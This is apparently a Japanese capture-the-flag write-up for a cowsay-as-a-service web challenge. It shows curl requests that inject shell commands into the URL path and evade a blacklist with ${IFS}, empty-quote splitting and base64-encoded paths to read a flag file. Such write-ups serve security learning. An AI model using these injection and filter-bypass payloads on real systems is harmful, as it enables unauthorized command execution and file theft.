moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo etc moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo etc moo moo moo moo moo etc moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo moo etc moo moo moo moo etc/cowsay/falg.txt
http://caas.web.nitectf.live/
$ curl 'http://caas.web.nitectf.live/cowsay/satoki'
________
< satoki >
--------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
cowsayコマンドを実行するサービスのようだ。
$ curl 'http://caas.web.nitectf.live/cowsay/satoki;pwd'
________
< satoki >
--------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
/usr/games
OSコマンドインジェクションが可能である。
問題文より/etc/cowsay/falg.txt
にフラグがあるようだが、URL経由なので/
が渡せない。
さらに配布されたファイルを見ると、whitelisted.txt
とblacklist.txt
が含まれていた。
ブラックリスト形式でブロックしているようだ。
$ curl 'http://caas.web.nitectf.live/cowsay/satoki;printenv'
___________________________
< Whoops! I cannot say that >
---------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
ここで""
をコマンドの途中に挿入できるテクニックを思い出す。
スペースは${IFS}
とし、base64をうまく使って/
を回避してファイル名を指定すればよい。
以下のように行う(ブラックリストのsz
も""
で回避してやる)。
$ curl --path-as-is 'http://caas.web.nitectf.live/cowsay/satoki;cat${IFS}$(echo${IFS}"L2V0Yy9jb3dzYXkvZmFs""Zy50eHQ"|b""ase64${IFS}-d);pwd'
________
< satoki >
--------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
nite{9wd_t0_th3_r35cu3_dp54kf_ud9j3od3w}
/usr/games
flagが得られた。